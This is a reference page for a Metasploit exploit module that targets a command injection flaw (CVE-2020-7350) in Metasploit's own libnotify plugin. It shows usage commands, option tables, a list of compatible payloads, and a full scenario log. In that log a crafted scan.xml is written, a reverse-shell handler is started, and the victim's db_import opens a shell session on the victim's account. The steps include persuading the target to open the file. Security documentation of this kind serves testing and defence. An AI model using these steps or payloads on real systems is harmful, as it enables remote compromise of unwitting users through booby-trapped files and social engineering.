Metasploit Libnotify Plugin Arbitrary Command Execution - Metasploit

This page contains detailed information about how to use the exploit/unix/fileformat/metasploit_libnotify_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents

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Module Overview

Module Ranking and Traits
Basic Usage

Knowledge Base

Vulnerable Application
Verification Steps
Scenarios

Metasploit Framework v5.0.76

Msfconsole Usage

Module Options
Advanced Options
Exploit Targets
Compatible Payloads
Evasion Options

Related Pull Requests
References
See Also
Authors
Version

Module Overview

Name: Metasploit Libnotify Plugin Arbitrary Command Execution
Module: exploit/unix/fileformat/metasploit_libnotify_cmd_injection
Source code: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
Disclosure date: 2020-03-04
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-7350

This module exploits a shell command injection vulnerability in the libnotify plugin. This vulnerability affects Metasploit versions 5.0.79 and earlier.

Module Ranking and Traits

Module Ranking:

excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

msf > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
msf exploit(metasploit_libnotify_cmd_injection) > show targets
    ... a list of targets ...
msf exploit(metasploit_libnotify_cmd_injection) > set TARGET target-id
msf exploit(metasploit_libnotify_cmd_injection) > show options
    ... show and set options ...
msf exploit(metasploit_libnotify_cmd_injection) > exploit

Knowledge Base

Vulnerable Application

Metasploit Framework versions prior to 5.0.86 are vulnerable to a command injection vulnerability in the default libnotify plugin. The libnotify plugin fails to properly parse the argument array to an executed operating system command. If an attacker can convince a user running an affected version of the Metasploit Framework with the libnotify plugin loaded to import a specially crafted data file with db_import, they can execute a command within the context of the user running Metasploit.

In order to trigger the vulnerable code path, the service reported must be unique. This means that when the exploit file is loaded, it will not trigger the vulnerability again unless the service is removed. The easiest way to remove the service is to delete all services from the database using the services -d command.

Verification Steps

Example steps in this format (is also in the PR):

Install the application
Start msfconsole
Do: use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
Set options as appropriate
Do: exploit
Start a payload handler using exploit/multi/handler
Transfer the file to the intended target and convince them to open it

Scenarios

Metasploit Framework v5.0.76

msf5 > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection 
msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options 

Module options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  scan.xml         no        The file to write.


Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.

   **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > exploit

[*] Writing xml file: scan.xml
[+] scan.xml stored at /home/smcintyre/.msf4/local/scan.xml
msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > use exploit/multi/handler 
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] exploit: Interrupted
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.159.128:4444 
msf5 exploit(multi/handler) > version
Framework: 5.0.76-dev-50cfb07cff
Console  : 5.0.76-dev-50cfb07cff
msf5 exploit(multi/handler) > load libnotify
[*] Successfully loaded plugin: libnotify
msf5 exploit(multi/handler) > services -d
Services
========

host  port  proto  name  state  info
----  ----  -----  ----  -----  ----

msf5 exploit(multi/handler) > db_import /home/smcintyre/.msf4/local/scan.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.8'
[*] Importing host 192.168.20.121
sh: line 1: State:: command not found
sh: line 2: Proto:: command not found
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file
[*] Successfully imported /home/smcintyre/.msf4/local/scan.xml
msf5 exploit(multi/handler) > [*] Command shell session 4 opened (192.168.159.128:4444 -> 192.168.159.128:35516) at 2020-04-16 14:54:39 -0400

msf5 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

id
uid=1000(smcintyre) gid=1000(smcintyre) groups=1000(smcintyre),10(wheel),974(wireshark),975(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Go back to menu.

Msfconsole Usage

Here is how the unix/fileformat/metasploit_libnotify_cmd_injection exploit module looks in the msfconsole:

msf6 > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection

[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show info

       Name: Metasploit Libnotify Plugin Arbitrary Command Execution
     Module: exploit/unix/fileformat/metasploit_libnotify_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: GNU Public License v2.0
       Rank: Excellent
  Disclosed: 2020-03-04

Provided by:
  pasta <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  scan.xml         no        The file to write.

Payload information:

Description:
  This module exploits a shell command injection vulnerability in the 
  libnotify plugin. This vulnerability affects Metasploit versions 
  5.0.79 and earlier.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-7350
  https://github.com/rapid7/metasploit-framework/issues/13026

Module Options

This is a complete list of options available in the unix/fileformat/metasploit_libnotify_cmd_injection exploit:

msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options

Module options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  scan.xml         no        The file to write.

Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the unix/fileformat/metasploit_libnotify_cmd_injection exploit:

msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show advanced

Module advanced options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_python):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/fileformat/metasploit_libnotify_cmd_injection module can exploit:

msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/fileformat/metasploit_libnotify_cmd_injection exploit:

msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the unix/fileformat/metasploit_libnotify_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

References

Authors

pasta <[email protected]>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

Metasploit Libnotify Plugin Arbitrary Command Execution - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Metasploit Framework v5.0.76

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

References

See Also

Authors

Version

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Metasploit Libnotify Plugin Arbitrary Command Execution - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Metasploit Framework v5.0.76

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Related Pull Requests

References

See Also

Authors

Version